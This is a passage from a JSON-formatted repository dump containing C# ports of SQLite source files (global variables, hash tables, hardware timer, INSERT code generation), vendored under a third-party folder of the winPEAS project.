    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2008 June 13\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains definitions of global variables and contants.\n    **\n    ** $Id: global.c,v 1.12 2009/02/05 16:31:46 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n\n    /* An array to map all upper-case characters into their corresponding\n    ** lower-case character.\n    **\n    ** SQLite only considers US-ASCII (or EBCDIC) characters.  We do not\n    ** handle case conversions for the UTF character set since the tables\n    ** involved are nearly as big or bigger than SQLite itself.\n    */\n    /* An array to map all upper-case characters into their corresponding\n    ** lower-case character.\n    */\n    static int[] sqlite3UpperToLower = new int[]  {\n#if SQLITE_ASCII\n0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17,\n18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35,\n36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53,\n54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99,100,101,102,103,\n104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,\n122, 91, 92, 93, 94, 95, 96, 97, 98, 99,100,101,102,103,104,105,106,107,\n108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,\n126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,\n144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,\n162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,\n180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,\n198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,\n216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,\n234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,\n252,253,254,255\n#endif\n#if SQLITE_EBCDIC\n0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, /* 0x */\n16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, /* 1x */\n32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, /* 2x */\n48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, /* 3x */\n64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, /* 4x */\n80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, /* 5x */\n96, 97, 66, 67, 68, 69, 70, 71, 72, 73,106,107,108,109,110,111, /* 6x */\n112, 81, 82, 83, 84, 85, 86, 87, 88, 89,122,123,124,125,126,127, /* 7x */\n128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, /* 8x */\n144,145,146,147,148,149,150,151,152,153,154,155,156,157,156,159, /* 9x */\n160,161,162,163,164,165,166,167,168,169,170,171,140,141,142,175, /* Ax */\n176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191, /* Bx */\n192,129,130,131,132,133,134,135,136,137,202,203,204,205,206,207, /* Cx */\n208,145,146,147,148,149,150,151,152,153,218,219,220,221,222,223, /* Dx */\n224,225,162,163,164,165,166,167,168,169,232,203,204,205,206,207, /* Ex */\n239,240,241,242,243,244,245,246,247,248,249,219,220,221,222,255, /* Fx */\n#endif\n};\n\n    /*\n    ** The following 256 byte lookup table is used to support SQLites built-in\n    ** equivalents to the following standard library functions:\n    **\n    **   isspace()                        0x01\n    **   isalpha()                        0x02\n    **   isdigit()                        0x04\n    **   isalnum()                        0x06\n    **   isxdigit()                       0x08\n    **   toupper()                        0x20\n    **\n    ** Bit 0x20 is set if the mapped character requires translation to upper\n    ** case. i.e. if the character is a lower-case ASCII character.\n    ** If x is a lower-case ASCII character, then its upper-case equivalent\n    ** is (x - 0x20). Therefore toupper() can be implemented as:\n    **\n    **   (x & ~(map[x]&0x20))\n    **\n    ** Standard function tolower() is implemented using the sqlite3UpperToLower[]\n    ** array. tolower() is used more often than toupper() by SQLite.\n    **\n    ** SQLite's versions are identical to the standard versions assuming a\n    ** locale of \"C\". They are implemented as macros in sqliteInt.h.\n    */\n#if SQLITE_ASCII\n    static byte[] sqlite3CtypeMap = new byte[] {\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 00..07    ........ */\n0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00,  /* 08..0f    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 10..17    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 18..1f    ........ */\n0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 20..27     !\"#$%&' */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 28..2f    ()*+,-./ */\n0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c,  /* 30..37    01234567 */\n0x0c, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 38..3f    89:;<=>? */\n\n0x00, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x02,  /* 40..47    @ABCDEFG */\n0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,  /* 48..4f    HIJKLMNO */\n0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,  /* 50..57    PQRSTUVW */\n0x02, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 58..5f    XYZ[\\]^_ */\n0x00, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x22,  /* 60..67    `abcdefg */\n0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,  /* 68..6f    hijklmno */\n0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,  /* 70..77    pqrstuvw */\n0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 78..7f    xyz{|}~. */\n\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 80..87    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 88..8f    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 90..97    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* 98..9f    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* a0..a7    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* a8..af    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* b0..b7    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* b8..bf    ........ */\n\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* c0..c7    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* c8..cf    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* d0..d7    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* d8..df    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* e0..e7    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* e8..ef    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  /* f0..f7    ........ */\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00   /* f8..ff    ........ */\n};\n#endif\n\n\n    /*\n** The following singleton contains the global configuration for\n** the SQLite library.\n*/\n    static Sqlite3Config sqlite3Config = new Sqlite3Config(\n    SQLITE_DEFAULT_MEMSTATUS, /* bMemstat */\n    1,                        /* bCoreMutex */\n    SQLITE_THREADSAFE == 1,   /* bFullMutex */\n    0x7ffffffe,               /* mxStrlen */\n    100,                      /* szLookaside */\n    500,                      /* nLookaside */\n    new sqlite3_mem_methods(),   /* m */\n    new sqlite3_mutex_methods( null, null, null, null, null, null, null, null, null ), /* mutex */\n    new sqlite3_pcache_methods(),/* pcache */\n    null,                      /* pHeap */\n    0,                         /* nHeap */\n    0, 0,                      /* mnHeap, mxHeap */\n    null,                      /* pScratch */\n    0,                         /* szScratch */\n    0,                         /* nScratch */\n    null,                      /* pPage */\n    0,                         /* szPage */\n    0,                         /* nPage */\n    0,                         /* mxParserStack */\n    false,                     /* sharedCacheEnabled */\n      /* All the rest need to always be zero */\n    0,                         /* isInit */\n    0,                         /* inProgress */\n    0,                         /* isMallocInit */\n    null,                      /* pInitMutex */\n    0                          /* nRefInitMutex */\n    );\n\n    /*\n    ** Hash table for global functions - functions common to all\n    ** database connections.  After initialization, this table is\n    ** read-only.\n    */\n    static FuncDefHash sqlite3GlobalFunctions;\n\n    /*\n    ** The value of the \"pending\" byte must be 0x40000000 (1 byte past the\n    ** 1-gibabyte boundary) in a compatible database.  SQLite never uses\n    ** the database page that contains the pending byte.  It never attempts\n    ** to read or write that page.  The pending byte page is set assign\n    ** for use by the VFS layers as space for managing file locks.\n    **\n    ** During testing, it is often desirable to move the pending byte to\n    ** a different position in the file.  This allows code that has to\n    ** deal with the pending byte to run on files that are much smaller\n    ** than 1 GiB.  The sqlite3_test_control() interface can be used to\n    ** move the pending byte.\n    **\n    ** IMPORTANT:  Changing the pending byte to any value other than\n    ** 0x40000000 results in an incompatible database file format!\n    ** Changing the pending byte during operating results in undefined\n    ** and dileterious behavior.\n    */\n    static int sqlite3PendingByte = 0x40000000;\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/hash_c.cs",
    "content": "using System.Diagnostics;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 22\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This is the implementation of generic hash-tables\n    ** used in SQLite.\n    **\n    ** $Id: hash.c,v 1.38 2009/05/09 23:29:12 drh Exp\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <assert.h>\n\n    /* Turn bulk memory into a hash table object by initializing the\n    ** fields of the Hash structure.\n    **\n    ** \"pNew\" is a pointer to the hash table that is to be initialized.\n    */\n    static void sqlite3HashInit( Hash pNew )\n    {\n      Debug.Assert( pNew != null );\n      pNew.first = null;\n      pNew.count = 0;\n      pNew.htsize = 0;\n      pNew.ht = null;\n    }\n\n    /* Remove all entries from a hash table.  Reclaim all memory.\n    ** Call this routine to delete a hash table or to reset a hash table\n    ** to the empty state.\n    */\n    static void sqlite3HashClear( Hash pH )\n    {\n      HashElem elem;         /* For looping over all elements of the table */\n\n      Debug.Assert( pH != null );\n      elem = pH.first;\n      pH.first = null;\n      //sqlite3_free( ref  pH.ht );\n      pH.ht = null;\n      pH.htsize = 0;\n      while ( elem != null )\n      {\n        HashElem next_elem = elem.next;\n        ////sqlite3_free(ref  elem );\n        elem = next_elem;\n      }\n      pH.count = 0;\n    }\n\n    /*\n    ** The hashing function.\n    */\n    static u32 strHash( string z, int nKey )\n    {\n      int h = 0;\n      Debug.Assert( nKey >= 0 );\n      int _z = 0;\n      while ( nKey > 0 )\n      {\n        h = ( h << 3 ) ^ h ^ ( ( _z < z.Length ) ? (int)sqlite3UpperToLower[(byte)z[_z++]] : 0 );\n        nKey--;\n      }\n      return (u32)h;\n    }\n\n    /* Link pNew element into the hash table pH.  If pEntry!=0 then also\n    ** insert pNew into the pEntry hash bucket.\n    */\n    static void insertElement(\n    Hash pH,              /* The complete hash table */\n    _ht pEntry,           /* The entry into which pNew is inserted */\n    HashElem pNew         /* The element to be inserted */\n    )\n    {\n      HashElem pHead;       /* First element already in pEntry */\n      if ( pEntry != null )\n      {\n        pHead = pEntry.count != 0 ? pEntry.chain : null;\n        pEntry.count++;\n        pEntry.chain = pNew;\n      }\n      else\n      {\n        pHead = null;\n      }\n      if ( pHead != null )\n      {\n        pNew.next = pHead;\n        pNew.prev = pHead.prev;\n        if ( pHead.prev != null ) { pHead.prev.next = pNew; }\n        else { pH.first = pNew; }\n        pHead.prev = pNew;\n      }\n      else\n      {\n        pNew.next = pH.first;\n        if ( pH.first != null ) { pH.first.prev = pNew; }\n        pNew.prev = null;\n        pH.first = pNew;\n      }\n    }\n\n    /* Resize the hash table so that it cantains \"new_size\" buckets.\n    **\n    ** The hash table might fail to resize if sqlite3_malloc() fails or\n    ** if the new size is the same as the prior size.\n    ** Return TRUE if the resize occurs and false if not.\n    */\n    static bool rehash( ref Hash pH, u32 new_size )\n    {\n      _ht[] new_ht;            /* The new hash table */\n      HashElem elem;\n      HashElem next_elem;    /* For looping over existing elements */\n\n#if SQLITE_MALLOC_SOFT_LIMIT\nif( new_size*sizeof(struct _ht)>SQLITE_MALLOC_SOFT_LIMIT ){\nnew_size = SQLITE_MALLOC_SOFT_LIMIT/sizeof(struct _ht);\n}\nif( new_size==pH->htsize ) return false;\n#endif\n\n      /* There is a call to sqlite3Malloc() inside rehash(). If there is\n** already an allocation at pH.ht, then if this malloc() fails it\n** is benign (since failing to resize a hash table is a performance\n** hit only, not a fatal error).\n*/\n      sqlite3BeginBenignMalloc();\n      new_ht = new _ht[new_size]; //(struct _ht *)sqlite3Malloc( new_size*sizeof(struct _ht) );\n      for ( int i = 0 ; i < new_size ; i++ ) new_ht[i] = new _ht();\n      sqlite3EndBenignMalloc();\n\n      if ( new_ht == null ) return false;\n      //sqlite3_free( ref  pH.ht );\n      pH.ht = new_ht;\n      // pH.htsize = new_size = sqlite3MallocSize(new_ht)/sizeof(struct _ht);\n      //memset(new_ht, 0, new_size*sizeof(struct _ht));\n      pH.htsize = new_size;\n\n      for ( elem = pH.first, pH.first = null ; elem != null ; elem = next_elem )\n      {\n        u32 h = strHash( elem.pKey, elem.nKey ) % new_size;\n        next_elem = elem.next;\n        insertElement( pH, new_ht[h], elem );\n      }\n      return true;\n    }\n\n    /* This function (for internal use only) locates an element in an\n    ** hash table that matches the given key.  The hash for this key has\n    ** already been computed and is passed as the 4th parameter.\n    */\n    static HashElem findElementGivenHash(\n    Hash pH,       /* The pH to be searched */\n    string pKey,   /* The key we are searching for */\n    int nKey,      /* Bytes in key (not counting zero terminator) */\n    u32 h         /* The hash for this key. */\n    )\n    {\n      HashElem elem;                /* Used to loop thru the element list */\n      int count;                    /* Number of elements left to test */\n\n      if ( pH.ht != null && pH.ht[h] != null )\n      {\n        _ht pEntry = pH.ht[h];\n        elem = pEntry.chain;\n        count = (int)pEntry.count;\n      }\n      else\n      {\n        elem = pH.first;\n        count = (int)pH.count;\n      }\n      while ( count-- > 0 && ALWAYS( elem ) )\n      {\n        if ( elem.nKey == nKey && sqlite3StrNICmp( elem.pKey, pKey, nKey ) == 0 )\n        {\n          return elem;\n        }\n        elem = elem.next;\n      }\n      return null;\n    }\n\n    /* Remove a single entry from the hash table given a pointer to that\n    ** element and a hash on the element's key.\n    */\n    static void removeElementGivenHash(\n    Hash pH,            /* The pH containing \"elem\" */\n    ref HashElem elem,  /* The element to be removed from the pH */\n    u32 h               /* Hash value for the element */\n    )\n    {\n      _ht pEntry;\n      if ( elem.prev != null )\n      {\n        elem.prev.next = elem.next;\n      }\n      else\n      {\n        pH.first = elem.next;\n      }\n      if ( elem.next != null )\n      {\n        elem.next.prev = elem.prev;\n      }\n      if ( pH.ht != null && pH.ht[h] != null )\n      {\n        pEntry = pH.ht[h];\n        if ( pEntry.chain == elem )\n        {\n          pEntry.chain = elem.next;\n        }\n        pEntry.count--;\n        Debug.Assert( pEntry.count >= 0 );\n      }\n      //sqlite3_free( ref  elem );\n      pH.count--;\n      if ( pH.count <= 0 )\n      {\n        Debug.Assert( pH.first == null );\n        Debug.Assert( pH.count == 0 );\n        sqlite3HashClear( pH );\n      }\n    }\n\n    /* Attempt to locate an element of the hash table pH with a key\n    ** that matches pKey,nKey.  Return the data for this element if it is\n    ** found, or NULL if there is no match.\n    */\n    static object sqlite3HashFind( Hash pH, string pKey, int nKey )\n    {\n      HashElem elem;  /* The element that matches key */\n      u32 h;          /* A hash on key */\n\n      Debug.Assert( pH != null );\n      Debug.Assert( pKey != null );\n      Debug.Assert( nKey >= 0 );\n      if ( pH.ht != null )\n      {\n        h = strHash( pKey, nKey ) % pH.htsize;\n      }\n      else\n      {\n        h = 0;\n      }\n      elem = findElementGivenHash( pH, pKey, nKey, h );\n      return elem != null ? elem.data : null;\n    }\n\n    /* Insert an element into the hash table pH.  The key is pKey,nKey\n    ** and the data is \"data\".\n    **\n    ** If no element exists with a matching key, then a new\n    ** element is created and NULL is returned.\n    **\n    ** If another element already exists with the same key, then the\n    ** new data replaces the old data and the old data is returned.\n    ** The key is not copied in this instance.  If a malloc fails, then\n    ** the new data is returned and the hash table is unchanged.\n    **\n    ** If the \"data\" parameter to this function is NULL, then the\n    ** element corresponding to \"key\" is removed from the hash table.\n    */\n    static object sqlite3HashInsert( ref Hash pH, string pKey, int nKey, object data )\n    {\n      u32 h;       /* the hash of the key modulo hash table size */\n\n      HashElem elem;       /* Used to loop thru the element list */\n      HashElem new_elem;   /* New element added to the pH */\n\n      Debug.Assert( pH != null );\n      Debug.Assert( pKey != null );\n      Debug.Assert( nKey >= 0 );\n\n      if ( pH.htsize != 0 )\n      {\n        h = strHash( pKey, nKey ) % pH.htsize;\n      }\n      else\n      {\n        h = 0;\n      }\n      elem = findElementGivenHash( pH, pKey, nKey, h );\n      if ( elem != null )\n      {\n        object old_data = elem.data;\n        if ( data == null )\n        {\n          removeElementGivenHash( pH, ref elem, h );\n        }\n        else\n        {\n          elem.data = data;\n          elem.pKey = pKey;\n          Debug.Assert( nKey == elem.nKey );\n        }\n        return old_data;\n      }\n      if ( data == null ) return null;\n      new_elem = new HashElem();//(HashElem*)sqlite3Malloc( sizeof(HashElem) );\n      if ( new_elem == null ) return data;\n      new_elem.pKey = pKey;\n      new_elem.nKey = nKey;\n      new_elem.data = data;\n      pH.count++;\n      if ( pH.count >= 10 && pH.count > 2 * pH.htsize )\n      {\n        if ( rehash( ref  pH, pH.count * 2 ) )\n        {\n          Debug.Assert( pH.htsize > 0 );\n          h = strHash( pKey, nKey ) % pH.htsize;\n        }\n      }\n      if ( pH.ht != null )\n      {\n        insertElement( pH, pH.ht[h], new_elem );\n\n      }\n      else\n      {\n        insertElement( pH, null, new_elem );\n      }\n      return null;\n    }\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/hwtime_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite_u3264 = System.UInt64;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 May 27\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    ******************************************************************************\n    **\n    ** This file contains inline asm code for retrieving \"high-performance\"\n    ** counters for x86 class CPUs.\n    **\n    ** $Id: hwtime.h,v 1.3 2008/08/01 14:33:15 shane Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#if !_HWTIME_H_\n    //#define _HWTIME_H_\n\n    /*\n    ** The following routine only works on pentium-class (or newer) processors.\n    ** It uses the RDTSC opcode to read the cycle count value out of the\n    ** processor and returns that value.  This can be used for high-res\n    ** profiling.\n    */\n#if ((__GNUC__) || (_MSC_VER)) &&       ((i386) || (__i386__) || (_M_IX86))\n\n#if (__GNUC__)\n\n__inline__ sqlite_u3264 sqlite3Hwtime(void){\nunsigned int lo, hi;\n__asm__ __volatile__ (\"rdtsc\" : \"=a\" (lo), \"=d\" (hi));\nreturn (sqlite_u3264)hi << 32 | lo;\n}\n\n#elif  (_MSC_VER)\n\n__declspec(naked) __inline sqlite_u3264 __cdecl sqlite3Hwtime(void){\n__asm {\nrdtsc\nret       ; return value at EDX:EAX\n}\n}\n\n#endif\n\n#elif ((__GNUC__) && (__x86_64__))\n\n__inline__ sqlite_u3264 sqlite3Hwtime(void){\nunsigned long val;\n__asm__ __volatile__ (\"rdtsc\" : \"=A\" (val));\nreturn val;\n}\n\n#elif ( (__GNUC__) &&  (__ppc__))\n\n__inline__ sqlite_u3264 sqlite3Hwtime(void){\nunsigned long long retval;\nunsigned long junk;\n__asm__ __volatile__ (\"\\n\\\n1:      mftbu   %1\\n\\\nmftb    %L0\\n\\\nmftbu   %0\\n\\\ncmpw    %0,%1\\n\\\nbne     1b\"\n: \"=r\" (retval), \"=r\" (junk));\nreturn retval;\n}\n\n#else\n\n    //#error Need implementation of sqlite3Hwtime() for your platform.\n\n    /*\n    ** To compile without implementing sqlite3Hwtime() for your platform,\n    ** you can remove the above #error and use the following\n    ** stub function.  You will lose timing support for many\n    ** of the debugging and testing utilities, but it should at\n    ** least compile and run.\n    */\n    static sqlite_u3264 sqlite3Hwtime() { return (sqlite_u3264)System.DateTime.Now.Ticks; }// (sqlite_u3264)0 ); }\n\n#endif\n\n    //#endif /* !_HWTIME_H_) */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/insert_c.cs",
    "content": "using System.Diagnostics;\nusing System.Text;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains C code routines that are called by the parser\n    ** to handle INSERT statements in SQLite.\n    **\n    ** $Id: insert.c,v 1.270 2009/07/24 17:58:53 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Generate code that will open a table for reading.\n    */\n    static void sqlite3OpenTable(\n    Parse p,       /* Generate code into this VDBE */\n    int iCur,       /* The cursor number of the table */\n    int iDb,        /* The database index in sqlite3.aDb[] */\n    Table pTab,    /* The table to be opened */\n    int opcode      /* OP_OpenRead or OP_OpenWrite */\n    )\n    {\n      Vdbe v;\n      if ( IsVirtual( pTab ) ) return;\n      v = sqlite3GetVdbe( p );\n      Debug.Assert( opcode == OP_OpenWrite || opcode == OP_OpenRead );\n      sqlite3TableLock( p, iDb, pTab.tnum, ( opcode == OP_OpenWrite ) ? (byte)1 : (byte)0, pTab.zName );\n      sqlite3VdbeAddOp3( v, opcode, iCur, pTab.tnum, iDb );\n      sqlite3VdbeChangeP4( v, -1, ( pTab.nCol ), P4_INT32 );//SQLITE_INT_TO_PTR( pTab.nCol ), P4_INT32 );\n      VdbeComment( v, \"%s\", pTab.zName );\n    }\n\n    /*\n    ** Set P4 of the most recently inserted opcode to a column affinity\n    ** string for index pIdx. A column affinity string has one character\n    ** for each column in the table, according to the affinity of the column:\n    **\n    **  Character      Column affinity\n    **  ------------------------------\n    **  'a'            TEXT\n    **  'b'            NONE\n    **  'c'            NUMERIC\n    **  'd'            INTEGER\n    **  'e'            REAL\n    **\n    ** An extra 'b' is appended to the end of the string to cover the\n    ** rowid that appears as the last column in every index.\n    */\n    static void sqlite3IndexAffinityStr( Vdbe v, Index pIdx )\n    {\n      if ( pIdx.zColAff == null || pIdx.zColAff[0] == '\\0' )\n      {\n        /* The first time a column affinity string for a particular index is\n        ** required, it is allocated and populated here. It is then stored as\n        ** a member of the Index structure for subsequent use.\n        **\n        ** The column affinity string will eventually be deleted by\n        ** sqliteDeleteIndex() when the Index structure itself is cleaned\n        ** up.\n        */\n        int n;\n        Table pTab = pIdx.pTable;\n        sqlite3 db = sqlite3VdbeDb( v );\n        StringBuilder pIdx_zColAff = new StringBuilder( pIdx.nColumn + 2 );// (char *)sqlite3Malloc(pIdx->nColumn+2);\n        if ( pIdx_zColAff == null )\n        {\n  ////        db.mallocFailed = 1;\n          return;\n        }\n        for ( n = 0 ; n < pIdx.nColumn ; n++ )\n        {\n          pIdx_zColAff.Append( pTab.aCol[pIdx.aiColumn[n]].affinity );\n        }\n        pIdx_zColAff.Append( SQLITE_AFF_NONE );\n        pIdx_zColAff.Append( '\\0' );\n        pIdx.zColAff = pIdx_zColAff.ToString();\n      }\n      sqlite3VdbeChangeP4( v, -1, pIdx.zColAff, 0 );\n    }\n\n    /*\n    ** Set P4 of the most recently inserted opcode to a column affinity\n    ** string for table pTab. A column affinity string has one character\n    ** for each column indexed by the index, according to the affinity of the\n    ** column:\n    **\n    **  Character      Column affinity\n    **  ------------------------------\n    **  'a'            TEXT\n    **  'b'            NONE\n    **  'c'            NUMERIC\n    **  'd'            INTEGER\n    **  'e'            REAL\n    */\n    static void sqlite3TableAffinityStr( Vdbe v, Table pTab )\n    {\n      /* The first time a column affinity string for a particular table\n      ** is required, it is allocated and populated here. It is then\n      ** stored as a member of the Table structure for subsequent use.\n      **\n      ** The column affinity string will eventually be deleted by\n      ** sqlite3DeleteTable() when the Table structure itself is cleaned up.\n      */\n      if ( pTab.zColAff == null )\n      {\n        StringBuilder zColAff;\n        int i;\n        sqlite3 db = sqlite3VdbeDb( v );\n\n        zColAff = new StringBuilder( pTab.nCol + 1 );// (char*)sqlite3Malloc(db, pTab.nCol + 1);\n        if ( zColAff == null )\n        {\n  ////        db.mallocFailed = 1;\n          return;\n        }\n\n        for ( i = 0 ; i < pTab.nCol ; i++ )\n        {\n          zColAff.Append( pTab.aCol[i].affinity );\n        }\n        //zColAff.Append( '\\0' );\n\n        pTab.zColAff = zColAff.ToString();\n      }\n\n      sqlite3VdbeChangeP4( v, -1, pTab.zColAff, 0 );\n    }\n\n    /*\n    ** Return non-zero if the table pTab in database iDb or any of its indices\n    ** have been opened at any point in the VDBE program beginning at location\n    ** iStartAddr throught the end of the program.  This is used to see if\n    ** a statement of the form  \"INSERT INTO <iDb, pTab> SELECT ...\" can\n    ** run without using temporary table for the results of the SELECT.\n    */\n    static bool readsTable(Parse p, int iStartAddr, int iDb, Table pTab )\n    {\n      Vdbe v = sqlite3GetVdbe( p );\n      int i;\n      int iEnd = sqlite3VdbeCurrentAddr( v );\n#if !SQLITE_OMIT_VIRTUALTABLE\n  VTable pVTab = IsVirtual(pTab) ? sqlite3GetVTable(p,db, pTab) : null;\n#endif\n\n      for ( i = iStartAddr ; i < iEnd ; i++ )\n      {\n        VdbeOp pOp = sqlite3VdbeGetOp( v, i );\n        Debug.Assert( pOp != null );\n        if ( pOp.opcode == OP_OpenRead && pOp.p3 == iDb )\n        {\n          Index pIndex;\n          int tnum = pOp.p2;\n          if ( tnum == pTab.tnum )\n          {\n            return true;\n          }\n          for ( pIndex = pTab.pIndex ; pIndex != null ; pIndex = pIndex.pNext )\n          {\n            if ( tnum == pIndex.tnum )\n            {\n              return true;\n            }\n          }\n        }\n#if !SQLITE_OMIT_VIRTUALTABLE\nif( pOp.opcode==OP_VOpen && pOp.p4.pVtab==pVTab){\nDebug.Assert( pOp.p4.pVtab!=0 );\nDebug.Assert( pOp.p4type==P4_VTAB );\nreturn true;\n}\n#endif\n      }\n      return false;\n    }\n\n#if !SQLITE_OMIT_AUTOINCREMENT\n    /*\n** Locate or create an AutoincInfo structure associated with table pTab\n** which is in database iDb.  Return the register number for the register\n** that holds the maximum rowid.\n**\n** There is at most one AutoincInfo structure per table even if the\n** same table is autoincremented multiple times due to inserts within\n** triggers.  A new AutoincInfo structure is created if this is the\n** first use of table pTab.  On 2nd and subsequent uses, the original\n** AutoincInfo structure is used.\n**\n** Three memory locations are allocated:\n**\n**   (1)  Register to hold the name of the pTab table.\n**   (2)  Register to hold the maximum ROWID of pTab.\n**   (3)  Register to hold the rowid in sqlite_sequence of pTab\n**\n** The 2nd register is the one that is returned.  That is all the\n** insert routine needs to know about.\n*/\n    static int autoIncBegin(\n    Parse pParse,      /* Parsing context */\n    int iDb,            /* Index of the database holding pTab */\n    Table pTab         /* The table we are writing to */\n    )\n    {\n      int memId = 0;      /* Register holding maximum rowid */\n      if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 )\n      {\n        AutoincInfo pInfo;\n\n        pInfo = 